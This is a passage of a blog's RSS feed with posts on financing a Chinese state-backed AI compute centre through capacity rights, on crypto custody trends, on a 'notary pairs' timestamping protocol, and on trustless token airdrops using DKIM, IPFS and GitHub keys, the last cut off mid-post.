  &lt;li&gt;&lt;a href=&quot;https://www.lucaijing.com.cn/yc/yyz/3227.html&quot;&gt;鹿财经网&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://baike.baidu.com/item/William%20Entriken&quot;&gt;百度百科&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;国际政府相关（英文）&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://csrc.nist.gov/pubs/ir/8301/final&quot;&gt;美国国家标准与技术研究院&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=cQ1QOLGJPIw&amp;amp;feature=youtu.be&quot;&gt;采访爱沙尼亚科技部长&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://x.com/BledStratForum/status/1039482666024947712&quot;&gt;斯洛文尼亚欧盟政府演讲&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=7LoMoqltRzM&quot;&gt;和东北欧政府讨论如何防范相关洗钱风险&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/William_Entriken&quot;&gt;Wikipedia William Entriken&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://scholar.google.com/citations?user=4rGYvTgAAAAJ&amp;amp;hl=en&quot;&gt;Google Scholar&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://phor.net/speaking#speaking&quot;&gt;更多&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;国资问题&quot;&gt;国资问题&lt;/h2&gt;

&lt;p&gt;国资的作用就是按照党中央制定的方向、国务院和国家发改委的主要投资与规划，以及省级发改委（在省政府）在土地审批、本地能源基础设施等方面的配合，来设计项目机会。有了项目再和各级政府商量如何符合项目资本的需求，最终负责项目的完成。国资会参与多轮项目，也会连续和各级政府以及伙伴合作。&lt;/p&gt;

&lt;p&gt;每一次项目成功，下一轮就更顺利。项目和五年计划吻合，对接更自然。国资的信任很重要。&lt;/p&gt;

&lt;p&gt;我们以下举个例子，分析相关刚出的十五五计划。&lt;/p&gt;

&lt;h3 id=&quot;例如项目内蒙古自治区ai算力城&quot;&gt;例如项目：内蒙古自治区AI算力城&lt;/h3&gt;

&lt;p&gt;按照十五五计划建立一个国际级算力中心（10亿瓦级）。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/nft-guozi.webp&quot; alt=&quot;建立计算城&quot; /&gt;&lt;/p&gt;

&lt;p&gt;我们先分析在内蒙古自治区该项目的需求：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;🟢 地面&lt;/li&gt;
  &lt;li&gt;🟢 矿场的煤炭&lt;/li&gt;
  &lt;li&gt;🟢 发电厂（10亿瓦级）&lt;/li&gt;
  &lt;li&gt;🟢 算力城外壳设计&lt;/li&gt;
  &lt;li&gt;🟢 算力城外壳建立（包电力、电池、散热，外网）&lt;/li&gt;
  &lt;li&gt;🟢 算力城内网络（服务器与服务器）&lt;/li&gt;
  &lt;li&gt;🟠 了解应用需求&lt;/li&gt;
  &lt;li&gt;🟠 服务器&lt;/li&gt;
  &lt;li&gt;🟠 AI芯片&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在国外类似资本需求大约500亿美元（房地产、建设、发电厂、服务器、芯片）。在国内估计会便宜一些，但是实现该项目会需要国资和省、市政府以及其他方大力支持。&lt;/p&gt;

&lt;p&gt;ℹ️ 关心点：以上的资本需求大大大量在于&lt;strong&gt;🟠服务器&lt;/strong&gt;和&lt;strong&gt;🟠AI芯片&lt;/strong&gt;。&lt;/p&gt;

&lt;h2 id=&quot;国资和私资对比&quot;&gt;国资和私资对比&lt;/h2&gt;

&lt;p&gt;我已经分析过如何在内蒙古自治区建立算力中心。蒙古国私立、内蒙古自治区私立和内蒙古自治区国资项目都不同。以下对比项目&lt;strong&gt;基础&lt;/strong&gt;：&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;蒙古国私立&lt;/th&gt;
      &lt;th&gt;内蒙古自治区私立&lt;/th&gt;
      &lt;th&gt;内蒙古自治区国资&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 地面&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 矿场的煤炭&lt;/td&gt;
      &lt;td&gt;✅ 可以买&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 发电厂&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 算力城外壳设计&lt;/td&gt;
      &lt;td&gt;✅ 可以做&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 算力城外壳建立（包电力、电池、散热，外网）&lt;/td&gt;
      &lt;td&gt;✅ 可以做&lt;/td&gt;
      &lt;td&gt;❌ 不能保证&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟢 算力城内网络&lt;/td&gt;
      &lt;td&gt;✅ 可以做&lt;/td&gt;
      &lt;td&gt;✅ 可以做&lt;/td&gt;
      &lt;td&gt;✅ 可保证&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;剩下的算力部分更难说：&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th&gt;蒙古国私立&lt;/th&gt;
      &lt;th&gt;内蒙古自治区私立&lt;/th&gt;
      &lt;th&gt;内蒙古自治区国资&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;🟠 了解应用需求&lt;/td&gt;
      &lt;td&gt;✅ 懂得多&lt;/td&gt;
      &lt;td&gt;✅ 懂得多&lt;/td&gt;
      &lt;td&gt;❓ 可问企业&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟠 服务器&lt;/td&gt;
      &lt;td&gt;✅ 可以买&lt;/td&gt;
      &lt;td&gt;✅ 可以买&lt;/td&gt;
      &lt;td&gt;✅ 用国内的&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;🟠 AI芯片&lt;/td&gt;
      &lt;td&gt;✅ 用国外的&lt;/td&gt;
      &lt;td&gt;❓&lt;/td&gt;
      &lt;td&gt;✅ 用国内的&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;项目的&lt;strong&gt;基础&lt;/strong&gt;国资十分可以做得到。&lt;strong&gt;私立资本无法保证项目实现。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;国资自己买&lt;strong&gt;服务器&lt;/strong&gt;和&lt;strong&gt;AI芯片&lt;/strong&gt;有可能买错款。还有这一部分是大大大量资本需求。&lt;/p&gt;

&lt;p&gt;到这一点我们可以分析相关思路如何帮助国资实现项目难点，还有西方常见做法和中国内实际应用怎么不一样。&lt;/p&gt;

&lt;h2 id=&quot;如何用相关思路帮助项目&quot;&gt;如何用相关思路帮助项目&lt;/h2&gt;

&lt;p&gt;目前的困难是：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;最终算力城要符合企业实际算力需求。&lt;/li&gt;
  &lt;li&gt;资本参与方需要确信项目能够顺利实现。&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;服务器&lt;/strong&gt;和&lt;strong&gt;AI芯片&lt;/strong&gt;需求可能比国资提出过类似的项目更大。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;还有不要忘记国资强项：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;只有国资能保证各级政府（省、市等）的合作。&lt;/li&gt;
  &lt;li&gt;国资获得面积、发电证和别的证都不紧。&lt;/li&gt;
  &lt;li&gt;AI大算力是十五五计划的目标企业。&lt;/li&gt;
  &lt;li&gt;国资能带来很多企业方，介绍新的合作方式。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;RWA相关思路可以带来一个更合适的资本方式。可能更适合该项目。我们先对比几种资本方式：&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;投资&lt;/th&gt;
      &lt;th&gt;贷款/债券&lt;/th&gt;
      &lt;th&gt;⭐️ 容量权利&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;项目成功后分红&lt;/td&gt;
      &lt;td&gt;项目还在发利息&lt;/td&gt;
      &lt;td&gt;项目实现后有权入驻&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;我们可以想象算力城是一个多横多竖的格子。&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;1号位置&lt;/th&gt;
      &lt;th&gt;2号位置&lt;/th&gt;
      &lt;th&gt;3号位置&lt;/th&gt;
      &lt;th&gt;4号位置&lt;/th&gt;
      &lt;th&gt;5号位置&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;。。。。。。&lt;/td&gt;
      &lt;td&gt;。。。。。。&lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
      &lt;td&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;每一个格子有一定的面积、一定的电力容量、一定的内外网、一定的散热限制。&lt;/p&gt;

&lt;p&gt;如果国资已经通过所有的面积、发电、类似的证，那就可以提前明确这些位置的入驻权利。项目建立好之后，谁持有该权利，就有权利入驻。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;⭐️ 持有方提供自己的服务器和 AI 芯片。入驻后仍需支付房租和电费。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;这些入驻权利可以按市场价格分配给实际需要算力的企业方。&lt;/p&gt;

&lt;p&gt;这种资本方式可以带来大量早期的资本，也会减少国资的风险。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;⭐️ 通过这种方式，参与方为什么最相信项目会实现？因为政府方实现之后，政府方还可以继续赚房租和电费。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;为什么需要允许这些权利在一定规则下转移？&lt;/p&gt;

&lt;p&gt;因为光速限制，高带宽AI计算对物理位置非常敏感。相邻的几个房间一起用，效率远高于分散的房间。持有1、2、3号位置比持有1、2、5号位置有用得多。早期预订的企业可能是大型用户，也可能是刚起步的公司。从预订到实际搬入，中间市场情况会变化，需要一个清晰的登记和调整机制，让最终真正使用的运营主体能坐到合适的位置。&lt;/p&gt;

&lt;p&gt;这些权利本身不附带分红，也不能当金融产品转租赚钱。它们只给实际运营实体使用，目的就是把物理容量分配清楚。&lt;/p&gt;

&lt;p&gt;2026年2月银发〔2026〕42号等文件对境内RWA代币化活动做了明确限制。但国资在研究十五五重大项目的资本和风险安排时，仍然可以认真分析这类机制的有用属性，并在自己的内部系统和合规框架下设计类似的容量分配方式。&lt;/p&gt;

&lt;p&gt;西方常见的RWA做法和中国实际可用的方式不一样：&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;西方常见做法&lt;/th&gt;
      &lt;th&gt;中国实际可用方式&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;容易金融化、二级市场炒作&lt;/td&gt;
      &lt;td&gt;政府可以严格控制&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;匿名参与&lt;/td&gt;
      &lt;td&gt;必须可追溯、可审核&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;和去中心化金融深度绑定&lt;/td&gt;
      &lt;td&gt;可以绑定人民币和内部登记系统&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;除了技术以外，私立公司更喜欢高风险项目。他们不依赖政府贷款和这种容量权利模式。他们会到各个国家参与证券交易。国资的风险偏好不同，因此这种更可控的方式可能更适合。&lt;/p&gt;

&lt;h2 id=&quot;下一步&quot;&gt;下一步&lt;/h2&gt;

&lt;p&gt;我可以帮助：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;分析如何利用新的资本和风险安排，提高你的项目成功率。&lt;/li&gt;
  &lt;li&gt;讨论在国内怎么用国产的区块链或者非区块链技术，实现类似的容量分配机制。&lt;/li&gt;
  &lt;li&gt;利用我十多年的经验，分析你的具体项目和资本方式。&lt;/li&gt;
  &lt;li&gt;就像我和美国、欧洲政府合作一样，和中国相关方面一起分析合适的规则和市场安排。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;我目前可以到北京和相关工作组直接讨论这些资本结构选项，特别是针对大型算力和其他十五五重点项目。并且，和国资的同事们进一步沟通关于新技术和新结构怎么真正帮到企业应用。&lt;/p&gt;
</description>
        <pubDate>Fri, 03 Jul 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/nft-guozi</link>
        <guid isPermaLink="true">https://blog.phor.net/nft-guozi</guid>
        
        <category>blockchain</category>
        
        
      </item>
    
      <item>
        <title>The future of web3 is centralization</title>
        <description>&lt;p&gt;A friend asked me a sharp question after my Google talk:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;“How will the world ever move from the custodial world we live in (banks, trading accounts, etc.) to a world where I have a single private key and really ‘own’ these NFTs?&lt;/p&gt;

  &lt;p&gt;Smart contracts and even soulbound NFTs assume we’ll all suddenly guard our private keys with our lives, only to be forced to follow every on-chain rule, fee, and restriction. Instead, I can just trust Coinbase (or whoever wins). I get convenience, the ability to sell to anyone, and I can skirt blockchain rules. Help me understand this.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here’s my perspective:&lt;/p&gt;

&lt;p&gt;&lt;mark&gt;Business processes don’t change. Only the methods change.&lt;/mark&gt;&lt;/p&gt;

&lt;p&gt;For thousands of years, humans have happily owned assets &lt;em&gt;beneficially&lt;/em&gt; while handing custody to someone else. We do it with money in banks, physical gold in vaults, real estate protection through government, stocks through brokers, art in galleries or museums. The vast majority of marketable assets with defined ownership are held by a separate custodian. (And perhaps even all valuable assets.)&lt;/p&gt;

&lt;p&gt;When you give custody to another party, you lose direct control, but you gain offsetting benefits: convenience, security services, financialization, insurability, dispute resolution, and more.&lt;/p&gt;

&lt;p&gt;Crypto is no different.&lt;/p&gt;

&lt;p&gt;In 2018 we saw heavy self-custody for two reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Early adopters are a special group. They enjoy the risk, the ideology and the new value propositions.&lt;/li&gt;
  &lt;li&gt;Many mainstream users who just arrived simply don’t know any better yet.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But humans as a whole have &lt;em&gt;never&lt;/em&gt; valued direct, personal custody of assets as highly as the “not your keys, not your coins” crowd hopes.&lt;/p&gt;

&lt;p&gt;The end result? Long term, nearly everyone will opt for custodial holding.&lt;/p&gt;

&lt;p&gt;They will happily let Coinbase, a future super-app, or some trusted institution hold the keys while they enjoy:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;No need to guard a private key with their life&lt;/li&gt;
  &lt;li&gt;Easy recovery if something goes wrong&lt;/li&gt;
  &lt;li&gt;Lower friction for everyday use&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Self-custody will remain important for:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;High-value operational “cold” holdings&lt;/li&gt;
  &lt;li&gt;People with high risk tolerance or strong ideological reasons&lt;/li&gt;
  &lt;li&gt;Specific use cases where trust minimization is worth the hassle&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Expecting the entire world to suddenly treat a 12-word seed phrase like their most precious physical possession was always unrealistic.&lt;/p&gt;
</description>
        <pubDate>Thu, 11 Jun 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/self-custody</link>
        <guid isPermaLink="true">https://blog.phor.net/self-custody</guid>
        
        <category>blockchain</category>
        
        
      </item>
    
      <item>
        <title>Notary pairs: immutable, mutual timestamping service for business relationships</title>
        <description>&lt;p&gt;You created a document today.&lt;/p&gt;

&lt;p&gt;When you deliver that to your business peer, you want confirmation that they received it and when. This includes emails, electronic document interchange and other business processes.&lt;/p&gt;

&lt;p&gt;One solution is to ensure that all business processes go through email, and that read receipts are always on. And that you check the receipts.&lt;/p&gt;

&lt;p&gt;Another extension of this technique is “notary pairs”. This approach applies to more kinds of data/processes and borrows from blockchain and &lt;a href=&quot;https://github.com/fulldecent/versioned_database_template&quot;&gt;versioned database template&lt;/a&gt; concepts.&lt;/p&gt;

&lt;h2 id=&quot;what-is-a-notary-pair&quot;&gt;What is a notary pair&lt;/h2&gt;

&lt;p&gt;A notary pair is a mutual, ongoing, connection established between two entities that notarizes documents. These will typically be used by businesses.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart LR
    A[Business A notary] &amp;lt;--&amp;gt; B[Business B notary]
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;They are synchronized and create an immutable ledger of document receipts.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;sequenceDiagram
    Business A notary-&amp;gt;&amp;gt;Business B notary: Receipt 1
    Business B notary-&amp;gt;&amp;gt;Business A notary: Receipt 2
    Business A notary-&amp;gt;&amp;gt;Business B notary: Receipt 3
    Business B notary-&amp;gt;&amp;gt;Business A notary: Receipt 4
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Each entry contains exactly:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;strong&gt;Incrementing serial number&lt;/strong&gt;, e.g. 1, 2, 3, …&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Timestamp&lt;/strong&gt;, also strictly increasing&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Prior entry hash&lt;/strong&gt;, a succinct calculated summary from the prior entry&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Payload&lt;/strong&gt;, typically a hash of some file or business record&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;Signature&lt;/strong&gt;, of of the notary making the entry&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;(Optional) pentultimate signing key and new signing key&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is managed by an agent run in each entity’s system.&lt;/p&gt;

&lt;h2 id=&quot;zig-zag-etiquette&quot;&gt;Zig-zag etiquette&lt;/h2&gt;

&lt;p&gt;This system is designed as a zig-zag protocol where odd-numbered entries are from one side and even-numbered ones are from the other. If a participant wants to send a payload but it made the last turn (i.e. not its turn), then it politely asks the counterparty to create a empty-payload message. And then the microphone passes back.&lt;/p&gt;

&lt;p&gt;Each notary enforces the rules and will not accept if, for example, the timestamp is in the future, prior entry hash is incorrect, other partrs are invalid.&lt;/p&gt;

&lt;p&gt;And they use this approach back-and-forth to record all business records.&lt;/p&gt;

&lt;h2 id=&quot;privacy&quot;&gt;Privacy&lt;/h2&gt;

&lt;p&gt;You connect to other entities only by explicit configuration on both sides. All data is end-to-end encrypted through both sides.&lt;/p&gt;

&lt;h2 id=&quot;plausible-deniability-ratchet&quot;&gt;Plausible deniability ratchet&lt;/h2&gt;

&lt;p&gt;You may rotate your key on each turn with the optional “pentultimate signing key and new signing key”. In this case, you and the counterparty will each know your connection is still secure and still know that the prior messages have not been tampered with. But it adds something new.&lt;/p&gt;

&lt;p&gt;If anybody (you, the counterparty, or a third party that somehow got access) tried to publish the event stream, they would also necessarily be publishing the signing keys for each event (up to the most recent one). Therefore, no third party can authenticate that these messages are authentic.&lt;/p&gt;

&lt;p&gt;It would be like if you walked into the bar with an ID card, and your ID card was stapled to a fake-ID-card printing machine!&lt;/p&gt;

&lt;h2 id=&quot;external-time-synchronization&quot;&gt;External time synchronization&lt;/h2&gt;

&lt;p&gt;You may synchronize your entries with external timestamping services (“public notary”) if you care about proving &lt;em&gt;when&lt;/em&gt; certain messages happened.&lt;/p&gt;

&lt;p&gt;Include the most recent Bitcoin network blockhash as part of any event payload. This proves your event was created at some time after that Bitcoin block.&lt;/p&gt;

&lt;p&gt;Include a copy of any event and publish as part of a Bitcoin event. This proves your events was created some time before that Bitcoin block settled.&lt;/p&gt;

&lt;h2 id=&quot;smart-contracts&quot;&gt;Smart contracts&lt;/h2&gt;

&lt;p&gt;The entry payloads may also include other protocols such as Ethereum Virtual Machine code.&lt;/p&gt;

&lt;p&gt;If the notary is configured to reject messages that do not follow the specified protocol then this can maintain a mutual smart contract ecosystem.&lt;/p&gt;

&lt;h2 id=&quot;a-network-of-peers&quot;&gt;A network of peers&lt;/h2&gt;

&lt;p&gt;This approach also scales to a network of peers.&lt;/p&gt;

&lt;p&gt;Remember that when Business B and Business C communicate in this example, they cannot messages they have seen (through Business A) regarding the public notary. If ratcheting is used, the messages they see through Business A may be a forgery of the public notary’s mesages!&lt;/p&gt;

&lt;p&gt;The notary pairs system only guarantees security between relationship pairs. It does not establish stable public identities which can be gossiped between entities.&lt;/p&gt;

&lt;h2 id=&quot;the-limits-of-channels&quot;&gt;The limits of channels&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Public identities are not supported.&lt;/strong&gt; In this topology of pairs:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart TD
    subgraph Private network
    A[Business A] &amp;lt;--&amp;gt; B[Business B]
    B &amp;lt;--&amp;gt; C[Business C]
    A &amp;lt;--&amp;gt; C
    end
    subgraph Public internet
    A &amp;lt;--&amp;gt; I[Pinning to a public notary]
    end
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The notary pairs system only guarantees security between relationship pairs. It does not establish stable public identities which can be gossiped between entities. For example, Business B and Business C cannot validate any message regarding the public notary which they have seen through Business A. Recally that if patcheting is used, Business A is fully able to delay and forge messages from the public notary and feed them to its peers. They will be none the wiser.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Credit systems are not supported.&lt;/strong&gt; It is well established that any credit instruments only works if there is a publicly visible collateral. And debts against it are only truly enforceable if they are publicly recorded against the visible collateral. This is how layer-two networks (“channels”) such as the Lightning Network are able to efficiently move Bitcoin. They:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Publicly secure an asset (e.g. some Bitcoin)&lt;/li&gt;
  &lt;li&gt;Do things&lt;/li&gt;
  &lt;li&gt;Release the asset&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This system only works because everybody can agree that no two overlapping debt instruments are outstanding against a given Bitcoin.&lt;/p&gt;

&lt;p&gt;Furthermore, if you are using the ratchet privacy option, you can’t be sure that any gossip you see outside of your own channel is genuite!&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;This system allows any business relationships to benefit from mutual message/document timestamping. This effectively prevents any dispute of document receipt and he-said/she-said timing. It scales to arbitrary kinds of documents and online network access.&lt;/p&gt;
</description>
        <pubDate>Tue, 09 Jun 2026 00:00:00 +0000</pubDate>
        <link>https://blog.phor.net/notary-pairs</link>
        <guid isPermaLink="true">https://blog.phor.net/notary-pairs</guid>
        
        <category>blockchain</category>
        
        
      </item>
    
      <item>
        <title>Legal resident DAO</title>
        <description>&lt;p&gt;&lt;em&gt;This paper provides a technical explanation of how to send blockchain tokens only to verifiable US citizens. It runs entirely on-chain and is trustless. This approach scales to other jurisdictions and other verifications, and it does not require cooperation from government.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In the age of the airdrop, projects wanted to create a token and then give out a limited supply to: special people on GitHub, special people on X, other named individuals.&lt;/p&gt;

&lt;p&gt;But each one of these was implemented the same way: some person creates a bunch of tokens for themself, they set up a webserver, and you that webserver may decide to give some of the tokens to you. You login using GitHub or X or whatever.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;You&lt;/strong&gt; were proving to the &lt;strong&gt;project owner&lt;/strong&gt; who you are and the &lt;strong&gt;project owner&lt;/strong&gt; gave you tokens.&lt;/p&gt;

&lt;p&gt;System-wise and security-wise this is not interesting. It is a trusted system. They could give the tokens to themselves or anybody.&lt;/p&gt;

&lt;p&gt;But a few cryptographic primatives in wide use today allow us to do trustless verifications for some interesting attestations.&lt;/p&gt;

&lt;p&gt;You can create verifiable proofs of asset ownership and identity without showing that identity to anybody. Let’s see!&lt;/p&gt;

&lt;h2 id=&quot;email-dkim-primative&quot;&gt;Email DKIM primative&lt;/h2&gt;

&lt;p&gt;Email already has domain anti-spoofing checks. Here’s how that works.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart LR
    X[DNS] --&amp;gt;|DKIM key| B
    A[Sender] --&amp;gt;|Email| B[Recipient]
&lt;/code&gt;&lt;/pre&gt;

&lt;ol&gt;
  &lt;li&gt;A sending domain DNS entry recognizes a specific server as authoritative (e.g. Google Workspace)&lt;/li&gt;
  &lt;li&gt;The email sending system publishes DKIM records, e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;20161025._domainkey.gmail.com&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Sent emails are signed using this key.&lt;/li&gt;
  &lt;li&gt;The recipient verifies against this key and concludes the email is authentic from the sending domain.&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;If the email is published, anybody can trustlessly verify it is authentic from the sending domain.&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;&lt;strong&gt;If you publish the email first, you can reasonably demonstrate that you initiated that action.&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;When we say to “publish” the email, this means the full email including headers.&lt;/p&gt;

&lt;h2 id=&quot;filesharing-primative&quot;&gt;Filesharing primative&lt;/h2&gt;

&lt;p&gt;InterPlanetary File System (IPFS) and the Solana blockchain both use the same Ed25519 key pair and can cross validate identities.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;A person publishes to IPNS with any standard Ed25519 key.&lt;/li&gt;
  &lt;li&gt;Anyone can resolve the IPNS to get the full public key (use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ipfs name resolve&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;Convert that public key to Solana’s Base58 address format (one-line of code).&lt;/li&gt;
  &lt;li&gt;Identify if that address is active on Solana and send them tokens.&lt;/li&gt;
  &lt;li&gt;The person who controls the IPNS private key can use any SOL or tokens immediately.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This works today, you can tokens directly to anybody who publishes on IPFS/IPNS.&lt;/p&gt;

&lt;p&gt;Working the other direction, you can also check the online/offline status and IP address of such people that are using Solana.&lt;/p&gt;

&lt;h2 id=&quot;github-ssh-key-primative&quot;&gt;GitHub SSH key primative&lt;/h2&gt;

&lt;p&gt;You can use the GitHub API to lookup the public keys for me or anybody using GitHub.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://api.github.com/users/fulldecent/keys&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;You can use this approach to allow arbitrary GitHub accounts to login to a system you created. Ubuntu has a nice setup process when you create an account: provide your GitHub username and it sets up public-keys to login to your account.&lt;/p&gt;

&lt;p&gt;With a blockchain smart contract, you can preauthorize a list of these keys from targeted GitHub accounts. Then those people can sign a message that is verified on chain. No webserver required, no middleman.&lt;/p&gt;

&lt;h2 id=&quot;use-case-proof-of-billionnaire-status&quot;&gt;Use case: proof of billionnaire status&lt;/h2&gt;

&lt;p&gt;From the email primative, we can parlay this with the fact that investment brokerages will send emails including account details to beneficial owners.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-mermaid&quot;&gt;flowchart LR
